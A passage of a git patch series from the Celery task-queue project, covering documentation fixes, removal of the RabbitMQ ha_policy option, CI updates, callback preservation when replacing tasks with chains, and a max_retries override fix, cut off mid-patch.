+++ b/docs/includes/introduction.txt @@ -1,4 +1,4 @@ -:Version: 5.0.0 (cliffs) +:Version: 5.0.1 (cliffs) :Web: http://celeryproject.org/ :Download: https://pypi.org/project/celery/ :Source: https://github.com/celery/celery/ From 76596a1892a2c5d826b3d5ffb16623d1b645bb6b Mon Sep 17 00:00:00 2001 From: Safwan Rahman Date: Mon, 19 Oct 2020 16:10:57 +0600 Subject: [PATCH 044/415] [Fix #6361] Fixing documentation for RabbitMQ task_queue_ha_policy --- docs/userguide/configuration.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/userguide/configuration.rst b/docs/userguide/configuration.rst index 67b3bf96846..a9d0379972f 100644 --- a/docs/userguide/configuration.rst +++ b/docs/userguide/configuration.rst @@ -2122,8 +2122,8 @@ Or you can give it a list of nodes to replicate to: task_queue_ha_policy = ['rabbit@host1', 'rabbit@host2'] -Using a list will implicitly set ``x-ha-policy`` to 'nodes' and -``x-ha-policy-params`` to the given list of nodes. +Using a list will implicitly set ``ha-mode`` to 'nodes' and +``ha-params`` to the given list of nodes. See http://www.rabbitmq.com/ha.html for more information. From a9b1918ac670dd27a55f20ab37c86d8bc8454f3a Mon Sep 17 00:00:00 2001 From: Stepan Henek Date: Mon, 19 Oct 2020 10:03:34 +0200 Subject: [PATCH 045/415] Fix _autodiscover_tasks_from_fixups function --- celery/app/base.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/celery/app/base.py b/celery/app/base.py index 3e33bb068e1..ab9433a8a4e 100644 --- a/celery/app/base.py +++ b/celery/app/base.py @@ -649,8 +649,8 @@ def _autodiscover_tasks_from_names(self, packages, related_name): def _autodiscover_tasks_from_fixups(self, related_name): return self._autodiscover_tasks_from_names([ pkg for fixup in self._fixups - for pkg in fixup.autodiscover_tasks() if hasattr(fixup, 'autodiscover_tasks') + for pkg in fixup.autodiscover_tasks() ], related_name=related_name) def send_task(self, name, args=None, kwargs=None, countdown=None, From 3187044b57335f37fe18f47f230efc0fb00f4d58 Mon Sep 17 00:00:00 2001 From: Stepan Henek Date: Mon, 19 Oct 2020 22:53:42 +0200 Subject: [PATCH 046/415] fixup! Fix _autodiscover_tasks_from_fixups function --- t/unit/app/test_app.py | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/t/unit/app/test_app.py b/t/unit/app/test_app.py index 969489fa164..a533d0cc4d4 100644 --- a/t/unit/app/test_app.py +++ b/t/unit/app/test_app.py @@ -218,6 +218,13 @@ def test_using_v1_reduce(self): self.app._using_v1_reduce = True assert loads(dumps(self.app)) + def test_autodiscover_tasks_force_fixup_fallback(self): + self.app.loader.autodiscover_tasks = Mock() + self.app.autodiscover_tasks([], force=True) + self.app.loader.autodiscover_tasks.assert_called_with( + [], 'tasks', + ) + def test_autodiscover_tasks_force(self): self.app.loader.autodiscover_tasks = Mock() self.app.autodiscover_tasks(['proj.A', 'proj.B'], force=True) From 215d3c1eb4c49ef1a6e89ce9d438ade638746a68 Mon Sep 17 00:00:00 2001 From: KexZh Date: Wed, 21 Oct 2020 13:34:59 +1300 Subject: [PATCH 047/415] Correct configuration item: CELERY_RESULT_EXPIRES Related issue: https://github.com/celery/celery/issues/4050 https://github.com/celery/celery/issues/4050#issuecomment-524626647 --- docs/userguide/configuration.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/userguide/configuration.rst b/docs/userguide/configuration.rst index a9d0379972f..5331c4b9a58 100644 --- a/docs/userguide/configuration.rst +++ b/docs/userguide/configuration.rst @@ -115,7 +115,7 @@ have been moved into a new ``task_`` prefix. ``CELERY_MESSAGE_COMPRESSION`` :setting:`result_compression` ``CELERY_RESULT_EXCHANGE`` :setting:`result_exchange` ``CELERY_RESULT_EXCHANGE_TYPE`` :setting:`result_exchange_type` -``CELERY_TASK_RESULT_EXPIRES`` :setting:`result_expires` +``CELERY_RESULT_EXPIRES`` :setting:`result_expires` ``CELERY_RESULT_PERSISTENT`` :setting:`result_persistent` ``CELERY_RESULT_SERIALIZER`` :setting:`result_serializer` ``CELERY_RESULT_DBURI`` Use :setting:`result_backend` instead. From a2498d37aa40614a2eecb3dddcae61754056b5c9 Mon Sep 17 00:00:00 2001 From: Thomas Riccardi Date: Thu, 22 Oct 2020 17:47:14 +0200 Subject: [PATCH 048/415] Flush worker prints, notably the banner In some cases (kubernetes, root) the banner is only printed at the end of the process execution, instead of at the beginning. --- celery/apps/worker.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/celery/apps/worker.py b/celery/apps/worker.py index 882751fb8a9..c220857eb3a 100644 --- a/celery/apps/worker.py +++ b/celery/apps/worker.py @@ -79,7 +79,7 @@ def active_thread_count(): def safe_say(msg): - print(f'\n{msg}', file=sys.__stderr__) + print(f'\n{msg}', file=sys.__stderr__, flush=True) class Worker(WorkController): @@ -169,7 +169,7 @@ def emit_banner(self): str(self.colored.cyan( ' \n', self.startup_info(artlines=not use_image))), str(self.colored.reset(self.extra_info() or '')), - ])), file=sys.__stdout__) + ])), file=sys.__stdout__, flush=True) def on_consumer_ready(self, consumer): signals.worker_ready.send(sender=consumer) @@ -187,7 +187,7 @@ def purge_messages(self): with self.app.connection_for_write() as connection: count = self.app.control.purge(connection=connection) if count: # pragma: no cover - print(f"purge: Erased {count} {pluralize(count, 'message')} from the queue.\n") + print(f"purge: Erased {count} {pluralize(count, 'message')} from the queue.\n", flush=True) def tasklist(self, include_builtins=True, sep='\n', int_='celery.'): return sep.join( From 8c5e9888ae10288ae1b2113bdce6a4a41c47354b Mon Sep 17 00:00:00 2001 From: Safwan Rahman Date: Tue, 27 Oct 2020 02:34:51 +0600 Subject: [PATCH 049/415] [Fix #6361] Remove RabbitMQ ha_policy from queue --- celery/app/amqp.py | 21 +++------------------ celery/app/defaults.py | 1 - docs/userguide/configuration.rst | 27 --------------------------- t/unit/app/test_amqp.py | 32 -------------------------------- 4 files changed, 3 insertions(+), 78 deletions(-) diff --git a/celery/app/amqp.py b/celery/app/amqp.py index 7031bc8b9b6..1a0454e9a92 100644 --- a/celery/app/amqp.py +++ b/celery/app/amqp.py @@ -46,7 +46,6 @@ class Queues(dict): create_missing (bool): By default any unknown queues will be added automatically, but if this flag is disabled the occurrence of unknown queues in `wanted` will raise :exc:`KeyError`. - ha_policy (Sequence, str): Default HA policy for queues with none set. max_priority (int): Default x-max-priority for queues with none set. """ @@ -55,14 +54,13 @@ class Queues(dict): _consume_from = None def __init__(self, queues=None, default_exchange=None, - create_missing=True, ha_policy=None, autoexchange=None, + create_missing=True, autoexchange=None, max_priority=None, default_routing_key=None): dict.__init__(self) self.aliases = WeakValueDictionary() self.default_exchange = default_exchange self.default_routing_key = default_routing_key self.create_missing = create_missing - self.ha_policy = ha_policy self.autoexchange = Exchange if autoexchange is None else autoexchange self.max_priority = max_priority if queues is not None and not isinstance(queues, Mapping): @@ -122,10 +120,6 @@ def _add(self, queue): queue.exchange = self.default_exchange if not queue.routing_key: queue.routing_key = self.default_routing_key - if self.ha_policy: - if queue.queue_arguments is None: - queue.queue_arguments = {} - self._set_ha_policy(queue.queue_arguments) if self.max_priority is not None: if queue.queue_arguments is None: queue.queue_arguments = {} @@ -133,13 +127,6 @@ def _add(self, queue): self[queue.name] = queue return queue - def _set_ha_policy(self, args): - policy = self.ha_policy - if isinstance(policy, (list, tuple)): - return args.update({'ha-mode': 'nodes', - 'ha-params': list(policy)}) - args['ha-mode'] = policy - def _set_max_priority(self, args): if 'x-max-priority' not in args and self.max_priority is not None: return args.update({'x-max-priority': self.max_priority}) @@ -251,7 +238,7 @@ def create_task_message(self): def send_task_message(self): return self._create_task_sender() - def Queues(self, queues, create_missing=None, ha_policy=None, + def Queues(self, queues, create_missing=None, autoexchange=None, max_priority=None): # Create new :class:`Queues` instance, using queue defaults # from the current configuration. @@ -259,8 +246,6 @@ def Queues(self, queues, create_missing=None, ha_policy=None, default_routing_key = conf.task_default_routing_key if create_missing is None: create_missing = conf.task_create_missing_queues - if ha_policy is None: - ha_policy = conf.task_queue_ha_policy if max_priority is None: max_priority = conf.task_queue_max_priority if not queues and conf.task_default_queue: @@ -271,7 +256,7 @@ def Queues(self, queues, create_missing=None, ha_policy=None, else autoexchange) return self.queues_cls( queues, self.default_exchange, create_missing, - ha_policy, autoexchange, max_priority, default_routing_key, + autoexchange, max_priority, default_routing_key, ) def Router(self, queues=None, create_missing=None): diff --git a/celery/app/defaults.py b/celery/app/defaults.py index d0fa9d20b54..9fec8472c96 100644 --- a/celery/app/defaults.py +++ b/celery/app/defaults.py @@ -267,7 +267,6 @@ def __repr__(self): type='dict', old={'celery_task_publish_retry_policy'}, ), queues=Option(type='dict'), - queue_ha_policy=Option(None, type='string'), queue_max_priority=Option(None, type='int'), reject_on_worker_lost=Option(type='bool'), remote_tracebacks=Option(False, type='bool'), diff --git a/docs/userguide/configuration.rst b/docs/userguide/configuration.rst index 5331c4b9a58..e9c1c76c151 100644 --- a/docs/userguide/configuration.rst +++ b/docs/userguide/configuration.rst @@ -2100,33 +2100,6 @@ The final routing options for ``tasks.add`` will become: See :ref:`routers` for more examples. -.. setting:: task_queue_ha_policy - -``task_queue_ha_policy`` -~~~~~~~~~~~~~~~~~~~~~~~~ -:brokers: RabbitMQ - -Default: :const:`None`. - -This will set the default HA policy for a queue, and the value -can either be a string (usually ``all``): - -.. code-block:: python - - task_queue_ha_policy = 'all' - -Using 'all' will replicate the queue to all current nodes, -Or you can give it a list of nodes to replicate to: - -.. code-block:: python - - task_queue_ha_policy = ['rabbit@host1', 'rabbit@host2'] - -Using a list will implicitly set ``ha-mode`` to 'nodes' and -``ha-params`` to the given list of nodes. - -See http://www.rabbitmq.com/ha.html for more information. - .. setting:: task_queue_max_priority ``task_queue_max_priority`` diff --git a/t/unit/app/test_amqp.py b/t/unit/app/test_amqp.py index ee36c08e235..bc2d26d3680 100644 --- a/t/unit/app/test_amqp.py +++ b/t/unit/app/test_amqp.py @@ -89,23 +89,6 @@ def test_setitem_adds_default_exchange(self): q['foo'] = queue assert q['foo'].exchange == q.default_exchange - @pytest.mark.parametrize('ha_policy,qname,q,qargs,expected', [ - (None, 'xyz', 'xyz', None, None), - (None, 'xyz', 'xyz', {'x-foo': 'bar'}, {'x-foo': 'bar'}), - ('all', 'foo', Queue('foo'), None, {'ha-mode': 'all'}), - ('all', 'xyx2', - Queue('xyx2', queue_arguments={'x-foo': 'bar'}), - None, - {'ha-mode': 'all', 'x-foo': 'bar'}), - (['A', 'B', 'C'], 'foo', Queue('foo'), None, { - 'ha-mode': 'nodes', - 'ha-params': ['A', 'B', 'C']}), - ]) - def test_with_ha_policy(self, ha_policy, qname, q, qargs, expected): - queues = Queues(ha_policy=ha_policy, create_missing=False) - queues.add(q, queue_arguments=qargs) - assert queues[qname].queue_arguments == expected - def test_select_add(self): q = Queues() q.select(['foo', 'bar']) @@ -118,11 +101,6 @@ def test_deselect(self): q.deselect('bar') assert sorted(q._consume_from.keys()) == ['foo'] - def test_with_ha_policy_compat(self): - q = Queues(ha_policy='all') - q.add('bar') - assert q['bar'].queue_arguments == {'ha-mode': 'all'} - def test_add_default_exchange(self): ex = Exchange('fff', 'fanout') q = Queues(default_exchange=ex) @@ -143,12 +121,6 @@ def test_alias(self): ({'max_priority': 10}, 'moo', Queue('moo', queue_arguments=None), {'x-max-priority': 10}), - ({'ha_policy': 'all', 'max_priority': 5}, - 'bar', 'bar', - {'ha-mode': 'all', 'x-max-priority': 5}), - ({'ha_policy': 'all', 'max_priority': 5}, - 'xyx2', Queue('xyx2', queue_arguments={'x-max-priority': 2}), - {'ha-mode': 'all', 'x-max-priority': 2}), ({'max_priority': None}, 'foo2', 'foo2', None), @@ -255,10 +227,6 @@ def test_countdown_negative(self): with pytest.raises(ValueError): self.app.amqp.as_task_v2(uuid(), 'foo', countdown=-1232132323123) - def test_Queues__with_ha_policy(self): - x = self.app.amqp.Queues({}, ha_policy='all') - assert x.ha_policy == 'all' - def test_Queues__with_max_priority(self): x = self.app.amqp.Queues({}, max_priority=23) assert x.max_priority == 23 From 678e422092381d19d88aa928ee308d9562c545d9 Mon Sep 17 00:00:00 2001 From: maybe-sybr <58414429+maybe-sybr@users.noreply.github.com> Date: Fri, 16 Oct 2020 09:33:42 +1100 Subject: [PATCH 050/415] ci: Fix TOXENV for pypy3 unit tests Fixes #6409 --- .travis.yml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index 96fb6f4d872..dc7e1e3c6c5 100644 --- a/.travis.yml +++ b/.travis.yml @@ -64,8 +64,9 @@ jobs: - TOXENV=flake8,apicheck,configcheck,bandit - CELERY_TOX_PARALLEL='--parallel --parallel-live' stage: lint + - python: pypy3.6-7.3.1 - env: TOXENV=pypy3 + env: TOXENV=pypy3-unit stage: test before_install: From f95f56842640c8c9f4050a233cfbc051a07ee376 Mon Sep 17 00:00:00 2001 From: maybe-sybr <58414429+maybe-sybr@users.noreply.github.com> Date: Fri, 16 Oct 2020 09:38:06 +1100 Subject: [PATCH 051/415] ci: Move Python 3.9 test base from dev to release --- .travis.yml | 6 +++--- tox.ini | 12 ++++++------ 2 files changed, 9 insertions(+), 9 deletions(-) diff --git a/.travis.yml b/.travis.yml index dc7e1e3c6c5..3c532ee95de 100644 --- a/.travis.yml +++ b/.travis.yml @@ -5,7 +5,7 @@ python: - '3.6' - '3.7' - '3.8' - - '3.9-dev' + - '3.9' os: - linux stages: @@ -25,9 +25,9 @@ env: jobs: fast_finish: true allow_failures: - - python: '3.9-dev' + - python: '3.9' include: - - python: '3.9-dev' + - python: '3.9' env: MATRIX_TOXENV=integration-rabbitmq stage: integration diff --git a/tox.ini b/tox.ini index 1b12965923a..8ec20b7a007 100644 --- a/tox.ini +++ b/tox.ini @@ -1,7 +1,7 @@ [tox] envlist = - {3.6,3.7,3.8,3.9-dev,pypy3}-unit - {3.6,3.7,3.8,3.9-dev,pypy3}-integration-{rabbitmq,redis,dynamodb,azureblockblob,cache,cassandra,elasticsearch} + {3.6,3.7,3.8,3.9,pypy3}-unit + {3.6,3.7,3.8,3.9,pypy3}-integration-{rabbitmq,redis,dynamodb,azureblockblob,cache,cassandra,elasticsearch} flake8 apicheck @@ -14,9 +14,9 @@ deps= -r{toxinidir}/requirements/test.txt -r{toxinidir}/requirements/pkgutils.txt - 3.6,3.7,3.8,3.9-dev: -r{toxinidir}/requirements/test-ci-default.txt - 3.5,3.6,3.7,3.8,3.9-dev: -r{toxinidir}/requirements/docs.txt - 3.6,3.7,3.8,3.9-dev: -r{toxinidir}/requirements/docs.txt + 3.6,3.7,3.8,3.9: -r{toxinidir}/requirements/test-ci-default.txt + 3.5,3.6,3.7,3.8,3.9: -r{toxinidir}/requirements/docs.txt + 3.6,3.7,3.8,3.9: -r{toxinidir}/requirements/docs.txt pypy3: -r{toxinidir}/requirements/test-ci-base.txt integration: -r{toxinidir}/requirements/test-integration.txt @@ -63,7 +63,7 @@ basepython = 3.6: python3.6 3.7: python3.7 3.8: python3.8 - 3.9-dev: python3.9 + 3.9: python3.9 pypy3: pypy3 flake8,apicheck,linkcheck,configcheck,bandit: python3.8 flakeplus: python2.7 From 7c3da03a07882ca86b801ad78dd509a67cba60af Mon Sep 17 00:00:00 2001 From: Egor Sergeevich Poderiagin Date: Thu, 29 Oct 2020 18:16:46 +0700 Subject: [PATCH 052/415] docs: fix celery beat settings --- docs/userguide/configuration.rst | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/docs/userguide/configuration.rst b/docs/userguide/configuration.rst index e9c1c76c151..f942188d07d 100644 --- a/docs/userguide/configuration.rst +++ b/docs/userguide/configuration.rst @@ -65,11 +65,11 @@ have been moved into a new ``task_`` prefix. ``CELERY_IMPORTS`` :setting:`imports` ``CELERY_INCLUDE`` :setting:`include` ``CELERY_TIMEZONE`` :setting:`timezone` -``CELERYBEAT_MAX_LOOP_INTERVAL`` :setting:`beat_max_loop_interval` -``CELERYBEAT_SCHEDULE`` :setting:`beat_schedule` -``CELERYBEAT_SCHEDULER`` :setting:`beat_scheduler` -``CELERYBEAT_SCHEDULE_FILENAME`` :setting:`beat_schedule_filename` -``CELERYBEAT_SYNC_EVERY`` :setting:`beat_sync_every` +``CELERY_BEAT_MAX_LOOP_INTERVAL`` :setting:`beat_max_loop_interval` +``CELERY_BEAT_SCHEDULE`` :setting:`beat_schedule` +``CELERY_BEAT_SCHEDULER`` :setting:`beat_scheduler` +``CELERY_BEAT_SCHEDULE_FILENAME`` :setting:`beat_schedule_filename` +``CELERY_BEAT_SYNC_EVERY`` :setting:`beat_sync_every` ``BROKER_URL`` :setting:`broker_url` ``BROKER_TRANSPORT`` :setting:`broker_transport` ``BROKER_TRANSPORT_OPTIONS`` :setting:`broker_transport_options` From 70dc29e2c0286151ef3f5e267a5e912ff932927a Mon Sep 17 00:00:00 2001 From: "Asif Saif Uddin (Auvi)" Date: Sat, 31 Oct 2020 11:13:22 +0600 Subject: [PATCH 053/415] move to travis-ci.com --- README.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.rst b/README.rst index 8cb4e40671b..25b5e2c8e2b 100644 --- a/README.rst +++ b/README.rst @@ -498,9 +498,9 @@ file in the top distribution directory for the full license text. .. # vim: syntax=rst expandtab tabstop=4 shiftwidth=4 shiftround -.. |build-status| image:: https://secure.travis-ci.org/celery/celery.png?branch=master +.. |build-status| image:: https://api.travis-ci.com/celery/celery.png?branch=master :alt: Build status - :target: https://travis-ci.org/celery/celery + :target: https://travis-ci.com/celery/celery .. |coverage| image:: https://codecov.io/github/celery/celery/coverage.svg?branch=master :target: https://codecov.io/github/celery/celery?branch=master From 0db172ef3b6b1771c763e0ec7937bdba63dacbc8 Mon Sep 17 00:00:00 2001 From: maybe-sybr <58414429+maybe-sybr@users.noreply.github.com> Date: Mon, 2 Nov 2020 00:39:45 +1100 Subject: [PATCH 054/415] fix: Ensure default fairness maps to `SCHED_FAIR` (#6447) Fixes #6386 --- celery/concurrency/asynpool.py | 1 + 1 file changed, 1 insertion(+) diff --git a/celery/concurrency/asynpool.py b/celery/concurrency/asynpool.py index 4d2dd1138d2..7ea3eb204c9 100644 --- a/celery/concurrency/asynpool.py +++ b/celery/concurrency/asynpool.py @@ -84,6 +84,7 @@ def unpack_from(fmt, iobuf, unpack=unpack): # noqa SCHED_STRATEGIES = { None: SCHED_STRATEGY_FAIR, + 'default': SCHED_STRATEGY_FAIR, 'fast': SCHED_STRATEGY_FCFS, 'fcfs': SCHED_STRATEGY_FCFS, 'fair': SCHED_STRATEGY_FAIR, From 56fc486c02b8ec635ef930490ab751e7f582cc72 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Sun, 1 Nov 2020 16:19:23 +0200 Subject: [PATCH 055/415] Preserve callbacks when replacing a task with a chain (#6189) * Preserve callbacks when replacing a task with a chain. * Preserve callbacks when replacing a task with a chain. * Added tests. * Update celery/app/task.py Co-authored-by: maybe-sybr <58414429+maybe-sybr@users.noreply.github.com> * Mark test as flaky. * Fix race condition in CI. * fix: Run linked tasks in original slot for replace This change alters the handling of linked tasks for chains which are used as the argument to a `.replace()` call for a task which itself has a chain of signatures to call once it completes. We ensure that the linked callback is not only retained but also called at the appropiate point in the newly reconstructed chain comprised of tasks from both the replacement chain and the tail of the encapsulating chain of the task being replaced. We amend some tests to validate this behaviour better and ensure that call/errbacks behave as expected if the encapsulating chain has either set. One test is marked with an `xfail` since errbacks of encapsulating chains are not currently called as expected due to some ambiguity in when an errback of a replaced task should be dropped or not (#6441). Co-authored-by: Asif Saif Uddin Co-authored-by: maybe-sybr <58414429+maybe-sybr@users.noreply.github.com> --- celery/app/task.py | 11 +++ t/integration/tasks.py | 30 +++++++- t/integration/test_canvas.py | 134 ++++++++++++++++++++++++++++++++++- 3 files changed, 171 insertions(+), 4 deletions(-) diff --git a/celery/app/task.py b/celery/app/task.py index 86c4e727d49..f8ffaefaffd 100644 --- a/celery/app/task.py +++ b/celery/app/task.py @@ -882,6 +882,17 @@ def replace(self, sig): ) if self.request.chain: + # We need to freeze the new signature with the current task's ID to + # ensure that we don't disassociate the new chain from the existing + # task IDs which would break previously constructed results + # objects. + sig.freeze(self.request.id) + if "link" in sig.options: + final_task_links = sig.tasks[-1].options.setdefault("link", []) + final_task_links.extend(maybe_list(sig.options["link"])) + # Construct the new remainder of the task by chaining the signature + # we're being replaced by with signatures constructed from the + # chain elements in the current request. for t in reversed(self.request.chain): sig |= signature(t, app=self.app) diff --git a/t/integration/tasks.py b/t/integration/tasks.py index 1b4bb581b0c..8aa13bc1797 100644 --- a/t/integration/tasks.py +++ b/t/integration/tasks.py @@ -22,7 +22,7 @@ def add(x, y): @shared_task -def raise_error(): +def raise_error(*args): """Deliberately raise an error.""" raise ValueError("deliberate error") @@ -76,6 +76,30 @@ def add_replaced(self, x, y): raise self.replace(add.s(x, y)) +@shared_task(bind=True) +def replace_with_chain(self, *args, link_msg=None): + c = chain(identity.s(*args), identity.s()) + link_sig = redis_echo.s() + if link_msg is not None: + link_sig.args = (link_msg,) + link_sig.set(immutable=True) + c.link(link_sig) + + return self.replace(c) + + +@shared_task(bind=True) +def replace_with_chain_which_raises(self, *args, link_msg=None): + c = chain(identity.s(*args), raise_error.s()) + link_sig = redis_echo.s() + if link_msg is not None: + link_sig.args = (link_msg,) + link_sig.set(immutable=True) + c.link_error(link_sig) + + return self.replace(c) + + @shared_task(bind=True) def add_to_all(self, nums, val): """Add the given value to all supplied numbers.""" @@ -143,7 +167,8 @@ def retry_once(self, *args, expires=60.0, max_retries=1, countdown=0.1): @shared_task(bind=True, expires=60.0, max_retries=1) -def retry_once_priority(self, *args, expires=60.0, max_retries=1, countdown=0.1): +def retry_once_priority(self, *args, expires=60.0, max_retries=1, + countdown=0.1): """Task that fails and is retried. Returns the priority.""" if self.request.retries: return self.request.delivery_info['priority'] @@ -160,7 +185,6 @@ def redis_echo(message): @shared_task(bind=True) def second_order_replace1(self, state=False): - redis_connection = get_redis_connection() if not state: redis_connection.rpush('redis-echo', 'In A') diff --git a/t/integration/test_canvas.py b/t/integration/test_canvas.py index a07da12d95d..4ae027fb10a 100644 --- a/t/integration/test_canvas.py +++ b/t/integration/test_canvas.py @@ -17,7 +17,7 @@ delayed_sum_with_soft_guard, fail, identity, ids, print_unicode, raise_error, redis_echo, retry_once, return_exception, return_priority, second_order_replace1, - tsum) + tsum, replace_with_chain, replace_with_chain_which_raises) RETRYABLE_EXCEPTIONS = (OSError, ConnectionError, TimeoutError) @@ -414,6 +414,7 @@ def test_chain_of_a_chord_and_three_tasks_and_a_group(self, manager): res = c() assert res.get(timeout=TIMEOUT) == [8, 8] + @flaky def test_nested_chain_group_lone(self, manager): """ Test that a lone group in a chain completes. @@ -452,6 +453,137 @@ def test_nested_chain_group_last(self, manager): res = sig.delay() assert res.get(timeout=TIMEOUT) == [42, 42] + def test_chain_replaced_with_a_chain_and_a_callback(self, manager): + if not manager.app.conf.result_backend.startswith('redis'): + raise pytest.skip('Requires redis result backend.') + + redis_connection = get_redis_connection() + redis_connection.delete('redis-echo') + + link_msg = 'Internal chain callback' + c = chain( + identity.s('Hello '), + # The replacement chain will pass its args though + replace_with_chain.s(link_msg=link_msg), + add.s('world'), + ) + res = c.delay() + + assert res.get(timeout=TIMEOUT) == 'Hello world' + + expected_msgs = {link_msg, } + while expected_msgs: + maybe_key_msg = redis_connection.blpop('redis-echo', TIMEOUT) + if maybe_key_msg is None: + raise TimeoutError('redis-echo') + _, msg = maybe_key_msg + msg = msg.decode() + expected_msgs.remove(msg) # KeyError if `msg` is not in here + + # There should be no more elements - block momentarily + assert redis_connection.blpop('redis-echo', min(1, TIMEOUT)) is None + redis_connection.delete('redis-echo') + + def test_chain_replaced_with_a_chain_and_an_error_callback(self, manager): + if not manager.app.conf.result_backend.startswith('redis'): + raise pytest.skip('Requires redis result backend.') + + redis_connection = get_redis_connection() + redis_connection.delete('redis-echo') + + link_msg = 'Internal chain errback' + c = chain( + identity.s('Hello '), + replace_with_chain_which_raises.s(link_msg=link_msg), + add.s(' will never be seen :(') + ) + res = c.delay() + + with pytest.raises(ValueError): + res.get(timeout=TIMEOUT) + + expected_msgs = {link_msg, } + while expected_msgs: + maybe_key_msg = redis_connection.blpop('redis-echo', TIMEOUT) + if maybe_key_msg is None: + raise TimeoutError('redis-echo') + _, msg = maybe_key_msg + msg = msg.decode() + expected_msgs.remove(msg) # KeyError if `msg` is not in here + + # There should be no more elements - block momentarily + assert redis_connection.blpop('redis-echo', min(1, TIMEOUT)) is None + redis_connection.delete('redis-echo') + + def test_chain_with_cb_replaced_with_chain_with_cb(self, manager): + if not manager.app.conf.result_backend.startswith('redis'): + raise pytest.skip('Requires redis result backend.') + + redis_connection = get_redis_connection() + redis_connection.delete('redis-echo') + + link_msg = 'Internal chain callback' + c = chain( + identity.s('Hello '), + # The replacement chain will pass its args though + replace_with_chain.s(link_msg=link_msg), + add.s('world'), + ) + c.link(redis_echo.s()) + res = c.delay() + + assert res.get(timeout=TIMEOUT) == 'Hello world' + + expected_msgs = {link_msg, 'Hello world'} + while expected_msgs: + maybe_key_msg = redis_connection.blpop('redis-echo', TIMEOUT) + if maybe_key_msg is None: + raise TimeoutError('redis-echo') + _, msg = maybe_key_msg + msg = msg.decode() + expected_msgs.remove(msg) # KeyError if `msg` is not in here + + # There should be no more elements - block momentarily + assert redis_connection.blpop('redis-echo', min(1, TIMEOUT)) is None + redis_connection.delete('redis-echo') + + @pytest.mark.xfail(reason="#6441") + def test_chain_with_eb_replaced_with_chain_with_eb(self, manager): + if not manager.app.conf.result_backend.startswith('redis'): + raise pytest.skip('Requires redis result backend.') + + redis_connection = get_redis_connection() + redis_connection.delete('redis-echo') + + inner_link_msg = 'Internal chain errback' + outer_link_msg = 'External chain errback' + c = chain( + identity.s('Hello '), + # The replacement chain will pass its args though + replace_with_chain_which_raises.s(link_msg=inner_link_msg), + add.s('world'), + ) + c.link_error(redis_echo.s(outer_link_msg)) + res = c.delay() + + with pytest.raises(ValueError): + res.get(timeout=TIMEOUT) + + expected_msgs = {inner_link_msg, outer_link_msg} + while expected_msgs: + # Shorter timeout here because we expect failure + timeout = min(5, TIMEOUT) + maybe_key_msg = redis_connection.blpop('redis-echo', timeout) + if maybe_key_msg is None: + raise TimeoutError('redis-echo') + _, msg = maybe_key_msg + msg = msg.decode() + expected_msgs.remove(msg) # KeyError if `msg` is not in here + + # There should be no more elements - block momentarily + assert redis_connection.blpop('redis-echo', min(1, TIMEOUT)) is None + redis_connection.delete('redis-echo') + class test_result_set: From f1145a2d91bd525f8e0f7a5662c9093e02fbf5a8 Mon Sep 17 00:00:00 2001 From: "Lewis M. Kabui" <13940255+lewisemm@users.noreply.github.com> Date: Mon, 2 Nov 2020 13:56:45 +0300 Subject: [PATCH 056/415] Fix minor documentation omission (#6453) Co-authored-by: Lewis Kabui --- docs/userguide/monitoring.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/userguide/monitoring.rst b/docs/userguide/monitoring.rst index 40e9991b572..725f264057f 100644 --- a/docs/userguide/monitoring.rst +++ b/docs/userguide/monitoring.rst @@ -33,7 +33,7 @@ To list all the commands available do: .. code-block:: console - $ celery help + $ celery --help or to get help for a specific command do: From 0833a270fae4738e128d56a63d0c4446ba0b1927 Mon Sep 17 00:00:00 2001 From: Ixiodor Date: Mon, 2 Nov 2020 12:28:51 +0100 Subject: [PATCH 057/415] Fix max_retries override on self.retry (#6436) * Fix max_retries override * Fix max_retries override * Fix max_retries override * Update exceptions.py typo * Update autoretry.py typo * Update task.py Prevent exception unpacking for tasks without autoretry_for * Update test_tasks.py Unit test * Update test_tasks.py Added a new test * Update autoretry.py Fox for explicit raise in tasks * Update test_tasks.py * Update autoretry.py * Update task.py * Update exceptions.py * Update task.py --- celery/app/autoretry.py | 11 ++++++++++- celery/app/task.py | 2 ++ celery/exceptions.py | 1 + t/unit/tasks/test_tasks.py | 37 +++++++++++++++++++++++++++++++++++++ 4 files changed, 50 insertions(+), 1 deletion(-) diff --git a/celery/app/autoretry.py b/celery/app/autoretry.py index 21c90e026a2..5da8487bd5f 100644 --- a/celery/app/autoretry.py +++ b/celery/app/autoretry.py @@ -46,6 +46,15 @@ def run(*args, **kwargs): retries=task.request.retries, maximum=retry_backoff_max, full_jitter=retry_jitter) - raise task.retry(exc=exc, **retry_kwargs) + # Override max_retries + if hasattr(task, 'override_max_retries'): + retry_kwargs['max_retries'] = getattr(task, + 'override_max_retries', + task.max_retries) + ret = task.retry(exc=exc, **retry_kwargs) + # Stop propagation + if hasattr(task, 'override_max_retries'): + delattr(task, 'override_max_retries') + raise ret task._orig_run, task.run = task.run, run diff --git a/celery/app/task.py b/celery/app/task.py index f8ffaefaffd..cab270cfa30 100644 --- a/celery/app/task.py +++ b/celery/app/task.py @@ -675,6 +675,8 @@ def retry(self, args=None, kwargs=None, exc=None, throw=True, """ request = self.request retries = request.retries + 1 + if max_retries is not None: + self.override_max_retries = max_retries max_retries = self.max_retries if max_retries is None else max_retries # Not in worker or emulated by (apply/always_eager), diff --git a/celery/exceptions.py b/celery/exceptions.py index 768cd4d22d2..ee903290f2f 100644 --- a/celery/exceptions.py +++ b/celery/exceptions.py @@ -293,3 +293,4 @@ def __init__(self, *args, **kwargs): def __repr__(self): return super().__repr__() + " state:" + self.state + " task_id:" + self.task_id + diff --git a/t/unit/tasks/test_tasks.py b/t/unit/tasks/test_tasks.py index 154ee0295cb..8e1c05a5796 100644 --- a/t/unit/tasks/test_tasks.py +++ b/t/unit/tasks/test_tasks.py @@ -144,6 +144,27 @@ def retry_task_auto_retry_exception_with_new_args(self, 